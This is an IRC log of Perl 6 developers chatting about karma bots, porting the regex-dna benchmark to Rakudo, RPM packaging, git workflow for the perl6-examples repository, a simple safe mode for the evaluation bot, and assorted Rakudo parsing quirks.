lambdabot moritz_ has a karma of 66
wayland76 @karma moritz
lambdabot moritz has a karma of 648
wayland76 Ok, make that 700
DanielC So, if you put ++ after someone's name it means you are giving them a karma point?
moritz_ yes
wayland76 Exactly
09:42 ejs left
DanielC interesting 09:42
wayland76 And c/c-- subtracts one from c/c
DanielC Can you do -- ?
:) 09:43
wayland76 :)
But don't try to karma yourself
moritz_ and our bots that monitor commits automatically give ++ to the author
09:43 wayland76 is now known as exampletest
exampletest exampletest++ 09:43
09:43 exampletest is now known as wayland76
wayland76 Hmm, it usually tells you not to be an idiot if you do that 09:44
@karma exampletest
lambdabot exampletest has a karma of 0
DanielC Can you redeem karma points for airmiles? ;-)
moritz_ no
wayland76 Yes. Just ring United Airlines 09:45
DanielC heh
wayland76 ..and record the conversation, and post it online somewhere
Then post the link here
DanielC he he
moritz_ I actually thought about a PR joke, changing karma points for Perl 6 donations
I just need somebody willing to donate something ;-)
wayland76 All you need to do to redeem your miles is explain S05 to the airline person, using obfus examples :) 09:46
DanielC heh
wayland76 moritz_: Well, I think the problem is, you could buy all of it :)
09:46 fridim_ joined 09:47 IRSeekBot joined
moritz_ actually on perlmonks it would make more sense, because you can't give karma so easily and unlimited 09:47
09:47 tulcod left, tulcod joined 09:48 synth^3 left, synth joined
wayland76 p6l mods: have you seen eternaleye_'s e-mail yet? 09:49
09:49 fulliautomatix left
wayland76 The one about CPAN? 09:49
DanielC \o/ The regex-dna benchmark is fully ported to Perl 6 (you have to examine DNA sequences). It runs slow as a glacier, but it runs and gives the correct output. 09:50
wayland76 Yay!
Is the output stored somewhere?
09:50 tulcod left
wayland76 Or is this just on your local machine? 09:50
DanielC It's in my local machine. 09:51
wayland76 ok
09:51 agentzh joined
DanielC I won't submit to Debian until it runs at a decent speed. 09:51
moritz_ DanielC: you could put it into a public repository nonetheless
DanielC yeah
wayland76 Can we put it in the spectests or something?
DanielC Someone suggested that it could be included in perl6-examples 09:52
Sure. How do I submit it to the project?
moritz_ I'm fine with both
09:52 tulcod joined
moritz_ which one? 09:52
for the test suite I can give you commit access
(and every other commit can as well)
09:52 pnu left
moritz_ for perl6-examples we have to ping pmichaud (or mberends, I think) 09:53
DanielC one sec
wayland76 Btw, does anyone know what Rakudo is looking for in the error message I posted about an hour ago?
moritz_ didn't see it
ah
pasteling "DanielC" at 92.229.216.61 pasted "Regex-dna benchmark" (45 lines, 1.4K) at sial.org/pbot/36851
wayland76 [root@rhys ~]# perl6 09:54
Class '[ 'parrot' ; 'Perl6MultiSub' ]' not found
current instr.: 'perl6;Perl6Role;!add_variant' pc 3584 (src/classes/Role.pir:27)
DanielC sial.org/pbot/36851
yeah
wayland76 (Sorry, I didn't know it would be that many lines)
DanielC That looks like an "example" to me more than a "test".
moritz_ wayland76: it's the same error message that you get right now when you compile Perl 6 to PIR or PBC and then execute it
wayland76 Oh 09:55
So rakudo is broken?
moritz_ partly. Direct execution (without storing the PIR in a file) works
DanielC moritz_: sial.org/pbot/36851 -> That's the benchmark. Does that logically belong in "examples" or "tests" ? 09:56
(or both?)
moritz_ DanielC: examples, I'd say
DanielC Thought so.
wayland76 I got it by running "perl6" at the command line with no parameters
perl6 -e 'say "hi"' gives the same error
moritz_ both work here 09:57
uhm
but I can't exit the REPL with exit or EOF
wayland76 Well, this is the Rakudo RPM I'm trying to build
moritz_ I know
wayland76 It almost certainly doesn't have enough files, but I was hoping it would tell me what it was looking for 09:58
moritz_ well, it looks for Perl6MultiSub, doesn't it? 09:59
wayland76 But what file is that supposed to be in? 10:00
Maybe I could grep :)
moritz_ maybe src/pmc/perl6multisub.dump or so? 10:01
or .o?
wayland76 Or read the makefile :)
ok, I've got ideas now. Sorry I was stupid :) 10:02
moritz_ parrot/runtime/parrot/dynext/ maybe? 10:04
10:06 davidad left
wayland76 (don't worry, I'll work on it :) ) 10:06
10:12 eMaX left
fridim_ DanielC: nice. How fast/slow does it run (in order to have an idea compared to perl-5 or any other language) ? 10:19
DanielC frindim_: Slow as a glacier. Perl 5 runs in 0.15s. Rakudo runs in 99s.
fridim_: But that's an unfair comparison.
fridim_: Rakudo is packed with debugging information, and it is not optimized at all. 10:20
fridim_ right.
~ 1000 times slower :) 10:21
(660 to be exact)
DanielC Actually... Perl 5 runs in 0.18 seconds, so it is only 550 times slower. :-)
wayland76 No, 666 times slower :)
fridim_ :) 10:22
DanielC fridim_: The benchmark is 100% about regexes. Perl 5 is very optimized for those, as you know.
wayland76 I wonder how fast Perl5 would run it if it compiled to Parrot :)
DanielC Are masak's Perl 6 programs written in order to test Perl 6 or for some other reason? 10:28
masak DanielC: what do you mean? :) 10:29
DanielC masak: For fun? For a school project? Production? I don't know...
masak ah.
DanielC Would it be fair to say that most Perl 6 apps were only written to test Perl 6?
masak well, most of the code I write are written to perform a particular purpose. that's the boring answer. 10:30
DanielC I just want to know if that statement would be true.
masak of course, I wouldn't have written them in Perl 6 if I didn't also want to try out Perl 6 and Rakudo.
it quickly became evident that by doing this, I also uncovered loads of bugs.
that's still true, although to a lesser extent. 10:31
DanielC ok
DanielC is making a blog post
DanielC hasn't posted to his blog in a month...
masak DanielC: basically, I really like Perl 6. I want to write code in the language.
wayland76 Well, I haven't posted to my "blog" in 6 months 10:32
But I linked to it yesterday in that CPAN discussion :)
DanielC masak: Ok, I understand.
wayland76 I write when I have something to write :)
masak I gather you gentlemen aren't participating in the Ironman frenzy. :)
DanielC SMOP is an interpreter, right? (ie. not a compiler) 10:34
10:36 eMaX joined 10:37 danbeimborn joined 10:40 wayland76 left 10:42 wayland76 joined
wayland76 Sorry about that -- xorg died on me, I think 10:43
Maybe it should have been a Fe-renzy 10:47
(Ferrous renzy :) )
masak another fun idea for later this year: implementing a CPAN mirror in Perl 6, which does some of the things people think that the current CPAN mirror should do. integrate annocpan and CPANTS more tightly, for example. 10:48
moritz_ DanielC: it's somewhere inbetween a runtime library and a virtual machine 10:49
DanielC ok
DanielC called it "interpreter" in his blog
moritz_ URL? 10:50
DanielC daniel.carrera.bz/
I only mention SMOP on the last line.
moritz_ yes, nice post
DanielC :) I'll send an email to the list with a link to the shootout benchmark, and ask if they want to put it in perl6-examples. 10:51
masak DanielC++ # indeed, nice post 10:52
moritz_ perl6-users seems like a good place for that
s/place/list/ 10:53
DanielC ok
10:53 LadyLunacy left
DanielC subscribes to perl6-users 10:57
trod Is there a recommended book for learning perl6 as a new language and for someone with no prior perl experience?
masak trod: not a printed, up-to-date one, no. 10:58
10:58 LadyLunacy joined
masak trod: there are a few scattered web resources. 10:58
trod masak: could you point me to one of the resources 10:59
masak trod: perl6-projects.org/
that one contains a list of the best resources out there.
trod masak: thanks :)
DanielC trod: hmm... someone started a wiki book. 11:00
masak trod: good luck!
wayland76 trod: Quick question -- what other prior programming experience do you have?
DanielC en.wikibooks.org/wiki/Perl_6_Programming
wayland76 DanielC: ...or people could join Masak's u4x project
(or u4x could migrate to Wikibooks :) ) 11:01
trod wayland76: I am learning c++
DanielC Is u4x supposed to be a book?
I guess u4x / grok is supposed to contain both tutorials and reference. Is that right masak?
wayland76 DanielC: Not that I know of, but ask masak
masak DanielC: yes. but the focus is on reference for now. 11:02
DanielC trod: IMO Perl is much much easier than C++
masak I like the Wikibooks effort. I don't feel it competes with u4x.
wayland76 trod: ok. You may experience a steep learning curve, but we're here to help :)
DanielC masak: Is that in the sense of "you have to start somewhere" or in the sense of "I think reference is the most important thing"
wayland76 trod: DanielC is right, but C++ has more books about it :)
masak DanielC: both. 11:03
DanielC ok
wayland76 trod: But in Perl 6 you can hopefully spend more time worrying about the program you're writing, and less thinking about how the computer lays out memory
DanielC What I like about the current perldoc is that it has both tutorials and reference. Both are really important.
trod DanielC: first time I tried to look at perl code it scared me a lot :) I just skimmed wiki and perl6 static type system feels a bit familiar
DanielC A lot of people think that you can replace one with the other, but they are wrong.
wayland76 DanielC: The specs claim to also be reference
Masak isn't so sure. 11:04
11:04 lichtkind joined
masak the specs are a reference, and the only official one. 11:04
one of the goals of u4x is to be an indispendible unofficial reference. 11:05
DanielC trod: The language is very different, but there is a lot o beauty behind it. It was designed by a linguist you know? So it has a lot of good linguistic features. For example, things that you say often are easy to say.
wayland76 trod: Perl incorporates stuff from many programming languages, so it caters to people of many stripes. But that means that you can do things in it that other people find very strange
moritz_ and short.
trod DanielC: yes, I heard larry wall on google techtalks
DanielC trod: Features you use often are short. Coding patterns that are popular and useful are made natural.
moritz_: yes... and short. Just like a good natural language. 11:06
trod: In some human languages you can change the order of a sentence for emphasis.
trod: So that the most important part of the sentence comes first. Well, in Perl you can do the same thing.
trod: But making Perl flexible like a natural language means that you could do scary things with it if you wanted. But you can also make very clear things that are not possible in a different language. 11:07
trod: In another language you might write "while (not finished()) { keep_working() }". But isn't it more natural to say "keep_working() until finished()" ? 11:08
wayland76 One thing that scares me about my Rakudo builds; sometimes it fails on parrot_config, and I re-run it, and it works 11:09
trod DanielC: Yes, that feels good and natural
DanielC :-)
11:11 eMaX left 11:13 araujo joined
jnthn s1n: No, custom BUILD doesn't work yet. I did like half of the refactors to get us there. Check back next week. 11:14
masak (custom BUILD)++ 11:18
11:20 donaldh left
moritz_ masak, literal: has the hacking phase of GSoC started yet? 11:20
11:21 donaldh joined
masak moritz_: I think so. we've had our first informal meeting in #perl6-soc :) 11:21
moritz_: (which isn't logged nowadays, by the way)
moritz_ I can change that.
masak nice.
wayland76 Perl6 socks! Now there's an idea :) 11:22
11:22 mizioumt joined
masak wayland76: with six toes? :) 11:22
11:22 ilbot2 joined
moritz_ so, what about weekly, format #ps-like meetings? 11:23
wayland76 I hadn't thought of that. Maybe we should produce some Perl 5 socks first
moritz_ s/format/formal/
masak moritz_: I'm up for it. literal seemed too, when I mentioned the idea. 11:27
11:27 Chillance joined
moritz_ masak: then I let you two pick a date, and join you after my vacations ;-) 11:28
(tomorrow at this time I'll be on the ferry
11:29 eMaX joined
wayland76 rakudo: my $a Array of Temporal; $a.pick(1); 11:29
p6eval rakudo 8ef347: OUTPUT«Statement not terminated properly at line 1, near "Array of T"␤in Main (src/gen_setting.pm:0)␤»
masak moritz_: cool. I wish you a well-deserved vacation. will you manage not to tend the spectest suite while gone? 11:30
wayland76: that's two terms in a row.
wayland76: er. I think.
rakudo: my Array of Int $a; 11:31
p6eval rakudo 8ef347: OUTPUT«Use of type object as value␤Use of type object as value␤»
masak o_O
jnthn! :)
wayland76 rakudo: my Array of Temporal $a; $a.pick(1); 11:32
p6eval rakudo 8ef347: OUTPUT«Malformed declaration at line 1, near "Array of T"␤in Main (src/gen_setting.pm:0)␤»
wayland76 Still no CPAN message on p6l :) 11:35
masak that's because the mailing lists are slow. 11:36
11:36 iblechbot left
wayland76 Only selectively. I have DanielC's example already :) 11:37
DanielC I'm special so my emails get there first. 11:38
moritz_ masak: I won't take my laptop to .no, so chances are good that I'll manage ;-) 11:39
masak moritz_: wise choice. :) 11:40
moritz_ masak: my girlfriend would kill me, and with good reason ;) 11:41
masak nod. 11:42
moritz_ www.perlmonks.org/?viewmode=public;..._id=632816 # I'll post that as a Meditation on perlmonks after I get back 11:47
feedback appreciated, of course
wayland76 @seen mncharity 11:49
lambdabot I saw mncharity leaving #perl6 4m 8d 22h 47m 51s ago, and .
wayland76 Is that accurate?
masak wayland76: to the second. 11:50
wayland76 Well, I don't think asking people to contact him on #perl6 is very constructive then 11:51
I was under the impression that he'd mothballed Elf :)
moritz_ well, what elese should I write then?
wayland76 If you can find him, ask him, otherwise leave Elf out altogether 11:52
masak moritz_: nice post.
wayland76 (btw, your json link is writing itself out in full)
masak moritz_: is it too late to correct grammar errors? :)
wayland76 Oh, yes, moritz_++ for a good post :)
masak: Which regex are the errors in? ;) 11:53
masak moritz_: should be 'Rakudo's support ... has made it easy and fun.', not 'have'.
moritz_ masak: not too late, will publish in 2 weeks or so 11:54
masak excellent. 11:56
jnthn masak: Yes? 11:57
masak: I thought it was well known that Array is not parametric yet... :-S 11:58
masak jnthn: oh, so it's known.
moritz_ masak, wayland76: thanks for your feedback
masak jnthn: just checking. :)
11:58 FurnaceBoy joined, trod left
jnthn masak: Use my Int @array for now. :-) 11:58
moritz_ jnthn: I thought about implementing a crude safe mode for rakudo... is there a nice way in parrot to set a variable to True once, and then never have it modified? (not even by inline PIR) 11:59
masak jnthn: yes, no problem.
jnthn moritz_: The "not even by inline PIR" bit is probably the trickier one. 12:01
moritz_: Nothing obvious comes to mind right away, will ponder it a bit. 12:02
moritz_: The safe mode stuff probably should eventually fall out of Parrot's Security Model, but I'm not sure what sort of timeline we're talking about for that. :-|
moritz_ jnthn: yes, I'm looking more for a quick'n'dirty fix for evalbot
well, having to use inline PIR to disable safe mode might be good enough for now 12:03
12:03 Whiteknight joined
Matt-W It's not something most people know 12:03
jnthn moritz_: What is safe mode intended to do?
moritz_: Stop you running certain functions?
moritz_ jnthn: yes (open, run, qx) 12:04
12:04 zamolxes joined
moritz_ jnthn: today I disabled those functions in p6eval's rakudo by patching, but of course that will break on updating, and now rakudo reports a "wrong" sha1 hash 12:05
wayland76 jnthn: Do you have long term plans about where eg. perl6_group.so should go?
DanielC Is this channel the development place of both Rakudo and the Perl 6 language itself?
wayland76 DanielC: Yes 12:06
DanielC thanks
jnthn moritz_: A solution that keeps the "safe mode" code in one place and is neater would be to just remove those things from the namespace/method table (or replace them in the ns/method table with a "Unavailable in safe mode" sub.
wayland76 And SMOP too
jnthn )
DanielC ok
jnthn wayland76: No, I've not thought at all about install stuff.
wayland76 Ok, I'm doing some now 12:07
jnthn wayland76: I've like, zero experience in such things, so I'm happily leaving it to others. :-)
moritz_ jnthn: yes, but that requires more parrot and rakudo knowledge than I have :)
wayland76 Ok. Does anyone else have an opinion as to where things like perl6_group.so should live?
Matt-W what does it do?
jnthn (I'd can give some idea for Windows.)
Matt-W I mean, obviously it's a shared library
moritz_ wayland76: have you looked at ppd30 already? 12:08
jnthn moritz_: $P0 = get_hll_namespace \n delete $P0['run']
moritz_ it *should* deal with such questions, dunno if it actually does
jnthn moritz_: Or similar.
12:08 abra joined
wayland76 No, thanks for the tip 12:08
My Parrot knowledge is very minimal
Matt-W jnthn: you can just delete stuff out of the namespace like it's a hash? 12:10
pmichaud good morning, #perl6 12:11
jnthn Matt-W: Yes. At one point (maybe even this point...) Parrot's NameSpace even inherited from Hash
pmichaud: morning
DanielC waves 12:12
wayland76 Ok, I'll just do a monkey-see-monkey-do thing in dynext that works like /usr/lib in Fedora, with all softlinks and stuff
masak morning, pm.
wayland76 Hmm. That won't work on Windows, though, will it
Matt-W jnthn: interesting
DanielC pmichaud: I hear that you are the dude in charge of perl6-examples.
12:12 tulcod left
wayland76 respects pmichaud :) 12:12
12:13 tulcod joined
moritz_ DanielC: at least in charge for handing out commit bits 12:13
Matt-W hi pmichaud
DanielC ok
moritz_ I think eric256 does the actualy organization, no?
pasteling "moritz_" at 84.134.65.18 pasted "safemode WIN (jnthn++)" (23 lines, 657B) at sial.org/pbot/36856
moritz_ ok, where are command line options handled in rakudo? 12:14
jnthn moritz_: Somewhere in perl6.pir 12:15
12:15 FurnaceBoy left
moritz_ jnthn: thanks 12:15
jnthn moritz_: Thing it's a get-opt style interface.
moritz_ oh well, I see which options are accepted, and how I can add one, but not where they actually get their semantics 12:19
12:21 cmv left 12:33 sri_kraih_ joined 12:35 agentzh1 joined 12:37 iblechbot joined 12:40 jferrero joined
wayland76 rakudo: say 'YAY' xx 100 12:40
p6eval rakudo 8ef347: OUTPUT«YAYYAYYAYYAYYAYYAYYAYYAYYAYYAYYAYYAYYAYYAYYAYYAYYAYYAYYAYYAYYAYYAYYAYYAYYAYYAYYAYYAY» 12:41
wayland76 YAY!
Matt-W yes, list-repeat works
wayland76 We have Rakudo RPM that can do perl -e 'say "hi"'
Matt-W oooh
wayland76++
wayland76 And works on top of Parrot RPM
DanielC wayland76++
masak that's cool.
wayland76++
wayland76 And not only that, but using softlinks for libraries
Which probably isn't portable. 12:42
Matt-W don't think Windows can do that
wayland76 But that's in the spec file, not the make file
Matt-W but Windows installtaion for this kind of thing is going to be different anyway
wayland76 Now we just need to come up with some alternative for Windows, and everything will be hunky-dory
I think step 1 is to go to Parrot and try to get some changes made to the build system 12:43
Matt-W step 1 is not to ask me :)
wayland76 Which will likely take another month now that they're trying to be stable.
Matt-W well gives time to make sure they're the right changes
wayland76 ...and then get the Rakudo stuff committed too :)
Matt-W: Yeah, I know, but it's a little bit of a pain, too :)
Matt-W yeah I know 12:44
I get impatient too :)
Especially for the prospect of sitting down at my Fedora-powered laptop and saying 'yum install rakudo'
although admittedly I need to track git at the moment :)
DanielC wayland76: Now all we need is a DEB :) 12:45
Matt-W DanielC: for which deb-powered distro? :P
moritz_ debian
Matt-W my server runs debian
wayland76 I'm not planning to get rakudo into Fedora -- someone else can do that
Matt-W wayland76: It may be a bit early yet
DanielC Matt-W: Actually, Deb-powered distros are a lot more regular than RPM distros. If you just target Debian, it should work fine for everyone.
Matt-W But it's nice to know some of the work's already there for later
wayland76 I want it so that I can get the latest rakudo, and go rpmbuild -ta rakudo.tar.gz, and have it make me an RPM 12:46
(Whether that's git or a release)
Matt-W DanielC: really? I didn't think Ubuntu could handle Debian debs very easily
DanielC: but I never really looked into it
12:46 DemoFreak joined 12:47 ruoso joined
DanielC Matt-W: I'm an Ubuntu user, and AFAIK there's no problem for the most par. There are exceptions mainly because Ubuntu has a newer version of gcc, which is not always 100% binary compatible with the one that ships with Debian. 12:47
moritz_ Matt-W: it doesn't work well for the big packages (gnome, KDE), but smaller packages with little dependencies often work cross-distro
things that are near to the kernel (hibernate, laptop mode etc.) are also not safe to mix, sometimes 12:48
DanielC Matt-W: I have installed Debian .debs a lot of times on Ubuntu.
Matt-W moritz_: the very thought of mixing hibernate stuff together fills me with dread. It's bad enough from one distro sometimes
DanielC yeh
wayland76 I got a Kogan Agora, and it hibernates fine 12:49
ruoso Hello!
wayland76 It uses gOS, which is ubuntu derived, and installs Ubuntu packages fine :)
ruoso: o/
12:50 payload left
pmichaud wayland76: the location of perl6_group.so is more of a Parrot question than a Rakudo one. 12:50
Rakudo doesn't care where perl6_group.so goes, as long as .loadlib 'perl6' can find it. 12:51
er, .loadlib 'perl6_group'
wayland76 pmichaud: I figured that out, and asked there, thanks anyway :)
12:51 pnu joined
pmichaud out of curiosity, what was the answer? 12:51
who needed commit bits? 12:52
wayland76 No answer yet, so I did the Rakudo one in /usr/lib style, with directories and softlinks
moritz_ pmichaud: DanielC did
afk
pmichaud DanielC: github id?
DanielC pmichaud: I'll go create an account... 12:53
12:53 agentzh left
DanielC pmichaud: I'm dcarrera and I'm totally new at github. 12:55
That means that I don't know how to commit. 12:56
pmichaud DanielC: github.com/guides/home
DanielC I was thinking of adding Debian shootout benchmarks to perl6-examples.
*click*
pmichaud DanielC: Yes, I agree with that. :-)
generally, the stuff I need to know: 12:57
git clone [email@hidden.address] # check out copy of repo
git commit <filename> # locally commit changes 12:58
git pull # pull changes from github
git push # push locally committed changes to github
DanielC Ok, I have a copy of the repo. I think I'll make a directory called shootout... 12:59
pmichaud oh yes, and
git add <filename> # add file to local repo
(same for "git add <dir>") 13:00
DanielC Looks easy enough. These commands are almost identical to Darcs (which I use for my own projects).
13:00 mikehh left
PerlJam good morning #perl6 13:01
DanielC moin
PerlJam DanielC: does darcs have the concept of a staging area for commits?
wayland76 DanielC: There's some git stuff on the Rakudo website 13:02
DanielC PerlJam: What is a staging area? Darcs might have a different name for it.
Darcs is distributed, like git.
PerlJam DanielC: with git, when you say "git add foo" that adds whatever changes have been made to foo to the staging area. you can continue to make changes to foo, but only those changes you've staged will be committed when you "git commit"
wayland76 You commit to your local repo before committing across the network
DanielC PerlJam: Yes, Darcs works like that, but they don't give it any particular name. 13:03
wayland76: Yes, distributed.
Except that Darcs has easier branches, because in Darcs every copy of a repo is a branch.
dakkar DanielC: remember that, in git, you have to 'add' a file each time you modify it (or use "commit -a", check the docs) 13:04
DanielC pmichaud: Should my commit comments follow any particular format?
dakkar it bit me a couple of times…
DanielC dakkar: Really? That would have caught me off guard too. 13:05
dakkar edit - add - commit
PerlJam DanielC: that falls out of having the "staging area" for commits.
DanielC In Darcs you do 'edit - record' and Darcs asks you which changes you want to record.
dakkar it derives from the fact that git tracks (primarily) the content, and, only as an afterthought, the names
PerlJam DanielC: does record also commit? 13:06
(I would guess so)
DanielC PerlJam: record is the Darcs word for "commit locally".
PerlJam figured as much
dakkar rakudo: sub foo { ... }; foo() 13:07
p6eval rakudo 8ef347: ( no output )
pmichaud dakkar: I've never had to 'add' a file for local modifications.
dakkar pmichaud: you use "commit -a"
pmichaud Whenever I want to commit a file, I simply use "git commit <filename>"
dakkar oh, right, that works, too
if you commit 1 file at a time
pmichaud one can do that with directories too
git commit <dir> # commit all changes made in <dir> 13:08
dakkar I end up doing changes in several directories (e.g. for Catalyst apps), and I use 'commit -a' or single 'add's, depending on what I want to happen
anyway…
did I miss some changes in the spec about '...'?
DanielC pmichaud: Should my commit comment follow any particular format? Or do I just say "some examples from the Debian shootout"? 13:09
pmichaud DanielC: no particular format required (more)
Many people suggest that the first line be a standalone summary, since some tools will display the first line of the commit message when summarizing commits
DanielC ok 13:10
masak by the same token, the second line should be empty (if one follows git commit message conventions)
DanielC I just hit 'git commit' and I am inside a text editor.
wayland76 Is there a way to create a Rakudo bug through the web interface? 13:11
DanielC masak: Should I add an empty line after my one-line commit message?
wayland76 I want to add a patch to it :)
masak DanielC: oh, no need if it's only one line.
DanielC ok
pmichaud wayland76: to add a patch, send it as an attachment to the email used to create the rakudobug
wayland76 Thanks 13:12
DanielC pmichaud: I just pushed the first benchmark to the server. Can you confirm I didn't do anything stupid? 13:13
pmichaud DanielC: it looks fine to me. 13:14
DanielC :-)
pmichaud DanielC: Also, we tend to work on "forgiveness is better than permission" around here.
DanielC Ok, when I get other benchmarks ported, I'll push them the same way.
:-)
@karma DanielC
lambdabot You have a karma of 3
DanielC :-D
PerlJam pmichaud: add me to perl6-examples too (that seems like a good place to put my perl 6 play)
13:15 skids joined, alester joined
pmichaud PerlJam: Added (as "perlpilot"). You ought to add a gravatar image :-) 13:15
dakkar rakudo: sub foo { ... }; foo() # rakudobug? 13:16
p6eval rakudo 8ef347: ( no output )
PerlJam I will at some point.
dakkar rakudo: sub foo { ... }; sub foo { 1 }; say foo() # rakudobug?
p6eval rakudo 8ef347: OUTPUT«Redefinition of routine foo␤Attempt to execute stub code (...)␤␤»
wayland76 You're writing a play in Perl 6? 13:17
pmichaud Screenplay, probably. We're casting Jack Nicholson as Damian. :-)
wayland76 rakudo: my $thou; say $thou.WHAT, $thou, $wishest; 13:18
p6eval rakudo 8ef347: OUTPUT«Symbol '$wishest' not predeclared in <anonymous> (/tmp/RdC6HUm5p7:1)␤in Main »
wayland76 Can we get Harrison Ford to play Larry Wall?
rakudo: my $thou; my $wishest; say $thou.WHAT, $thou, $wishest; 13:20
p6eval rakudo 8ef347: OUTPUT«Failure()Use of uninitialized value␤Use of uninitialized value␤␤»
13:20 alester left
wayland76 Ugh! Updating 8-month-old Perl code to work with new Rakudo :) 13:23
dakkar hmmm. why this happens? 13:25
rakudo: sub foo { ... }; foo()
p6eval rakudo 8ef347: ( no output )
dakkar rakudo: sub foo { ... }; say foo()
p6eval rakudo 8ef347: OUTPUT«Attempt to execute stub code (...)␤␤»
wayland76 How do I indicate that a method returns a scalar
pmichaud I'm guessing that term:... is implemented wrong.
dakkar pmichaud: my guess, too. perlcabal.org/syn/S06.html#Stub_declarations says it should return a Failure() 13:26
pmichaud dakkar: oh! Well, that's what it's doing.
rakudo: sub foo { ... }; say foo().WHAT;
p6eval rakudo 8ef347: OUTPUT«Failure()␤»
dakkar argh
right
not all Failure() are equal 13:27
wayland76 rakudo: class foo { our Scalar multi method pop ( @array: ) is export { "hi"; } }; $t = foo->new(); say $t.pop()
p6eval rakudo 8ef347: OUTPUT«Malformed declaration at line 1, near "Scalar mul"␤in Main (src/gen_setting.pm:0)␤»
pmichaud wayland76: why would one need to indicate that a method returns a scalar?
wayland76 Do I just leave "Scalar" out altogether then, and can still return a value? 13:28
pmichaud wayland76: I suspect you want either Any or Object
wayland76 Ah, probably :)
pmichaud or yes, my preference is to leave it out altogether.
dakkar rakudo: class foo { method pop ( @array: --> Object ) { "hi"; } }; $t = foo->new(); say $t.pop()
13:28 exodist joined
p6eval rakudo 8ef347: OUTPUT«Statement not terminated properly at line 1, near "->new(); s"␤in Main (src/gen_setting.pm:0)␤» 13:28
wayland76 ok, great :)
PerlJam wayland76: besides types are about the values, not their containers
jnthn std: class foo { method pop ( @array: --> Object ) { } } 13:29
p6eval std 26942: OUTPUT«ok 00:02 37m␤»
13:30 mizioumt left, cmarcelo joined
wayland76 jnthn: Thanks. That's what I really needed :) 13:30
(and thanks to all my helpers :) )
jnthn rakudo: class foo { method pop ( @array: --> Object ) { } } 13:31
p6eval rakudo 8ef347: ( no output )
ruoso just posted a message about implicit threading and event-loop 13:34
pmichaud, jnthn, your feedback is very much appreciated
DanielC Does Rakudo not understand pod? I want to make Rakkudo ignore everything below certain line. How do I do that? I tried "=begin pod" and "=pod" and nothing works. 13:36
masak DanielC: you'd want to do '=begin END', I think.
DanielC masak: That seems to work (I'm still waiting for output, but it hasn't complained) 13:37
ah, there's the output.
What does "=begin END" do? I thought it was supposed to be "=begin pod" 13:38
literal it's similar to Perl 5's __END__ 13:40
wayland76 I suspect =begin pod needs a matching =end pod
literal wayland76: nah, END is special in that way
wayland76 Ok
literal only terminated by end-of-file
13:40 DemoFreak left
pmichaud "=begin END" doesn't require a closing "=end END" 13:41
literal perlcabal.org/syn/S26.html#146123432
Matt-W it's a bit weird that it causes =begin to behave differently
pmichaud other than that it's essentially the same.
DanielC =begin pod .. =end pod also seems to work.
Matt-W since all other =begin has ends
wayland76 literal: Yes, I agree. But the =begin pod he was trying needs a matching =end pod
And that's what I was saying :)
literal wayland76: ah, I misread
wayland76 I have two roles that have variables that refer to each other 13:45
And the first role generates an error when it refers to the second.
Can I predeclare one 13:46
?
Oh, wait, with ..., right?
PerlJam or just 13:47
role Foo;
wayland76 Ok, thanks :)
PerlJam (I don't know if you'll get any redefinition errors or not though, and last time I tried anything with ... it didn't quite work right either)
wayland76 Works with ... but not the other way 13:48
PerlJam awesome.
wayland76 (well, passes the parser, anyway -- I'm updating old code, so it just went on to the next error) 13:49
13:51 alester joined 13:52 LylePerl joined
PerlJam I hate it when I try to come up with a small test case that reproduces odd behavior only the test case works as expected. 13:53
13:54 andrey_grehov joined
andrey_grehov hi, guys 13:55
Just downloaded rakudo, made Configure.pl --gen-parrot and after all got "Unable to locate parrot_config0,00"
any ideas ? 13:56
13:56 danbeimborn left
wayland76 What does "which parrot_config" say? 13:56
moritz_ andrey_grehov: is there a parrot/parrot_config? 13:57
andrey_grehov: if no, probably the parrot build failed
andrey_grehov no
there is only parrot/config dir
wayland76 andrey_grehov: What OS/Distro?
DanielC rakudo: my $a,$b,$c; 13:58
p6eval rakudo 8ef347: OUTPUT«Symbol '$b' not predeclared in <anonymous> (/tmp/98KbwnbzhG:1)␤in Main (src/gen_setting.pm:3166)␤»
13:58 payload joined
DanielC Hmm... I thought brackets were optional now (for lists). 13:58
moritz_ andrey_grehov: try cd parrot; perl Configure.pl; make # and you'll see at which step it fails
DanielC: yes, but signature != list
andrey_grehov moritz_: k, trying
DanielC moritz_: I thought the comma was now a list constructor. 13:59
moritz_ DanielC: except in special syntactic constructs
DanielC :-P
DanielC hates special cases. 14:00
moritz_ DanielC: the parsing rules for 'my' is not / 'my' <list> /, but rather / 'my' <signature> /
andrey_grehov wayland76: (gcc version 3.4.6 (Gentoo 3.4.6-r1, ssp-3.4.5-1.0, pie-8.7.9))
moritz_ gcc 3.4 is quite old, but I think it should work nonetheless
pmichaud DanielC: put another way, my $a,$b,$c parses as (my $a), $b, $c 14:01
DanielC ok
I can convince myself that the comma is just a low-priority operator (lower than "my")
my $cnt = $*IN.slurp; $cnt = uc $cnt; => Gives an error: no ICU lib loaded in method Any::uc 14:03
Matt-W Convince yourself instead that my doesn't take a list 14:04
DanielC Is there an error in the 'uc' line?
pmichaud DanielC: no, Parrot wants ICU in order to be able to uppercase utf8 strings. :-(
DanielC pmichaud: Did I just fin a bug? 14:05
pmichaud Yes and no.
DanielC ?
wayland76 Incidentally, lu_zero is planning on working on a Gentoo package
pmichaud Parrot doesn't know how to uppercase utf8 strings when ICU isn't present. 14:06
andrey_grehov moritz_: pastebin.com/d37fd3e27
buubot andrey_grehov: The paste d37fd3e27 has been copied to erxz.com/pb/17834
ruoso www.perlfoundation.org/perl6/index....ing_perl_6
DanielC What is ICU? How come Parrot had no problem doing 'lc' in my previous benchmark? 14:07
pmichaud DanielC: probably because it was working on an ascii string.
ICU is a library for handling unicode strings.
moritz_ icu is a Unicode library
dakkar andrey_grehov: do you have an installed parrot, somewhere?
DanielC My input should be ascii.
In fact, I'm quite positive that it is. 14:08
pmichaud andrey_grehov: it looks like your system already has an (older) version of parrot installed somewhere.
andrey_grehov dakkar: nope
pmichaud DanielC: reading from standard input assumes utf8
andrey_grehov ermm...
maybe
dakkar andrey_grehov: 'locate libparrot' ?
DanielC pmichaud: But my earlier benchmark was reading the same file from stdin too.
andrey_grehov sec, i'll check.. it's on my system..
pmichaud and it was doing "uc" on the strings from the file?
note that using uc on constant strings will typically have them as ascii. 14:09
DanielC pmichaud: Ah... but the other benchmark runs a .subst before it runs 'lc'.
pmichaud that could be enough to convert the strings to ascii encoding internally
DanielC pmichaud: So Rakudo must have "converted" to ascii.
yeah
wayland76 andrey_grehov: Is that a "yes, it's there"?
DanielC I'll test that theory.
pmichaud DanielC: does your $*IN.slurp example fail for 'lc' also? 14:10
or just for 'uc'?
andrey_grehov wayland76: seems there is no any version of libparrot installed..
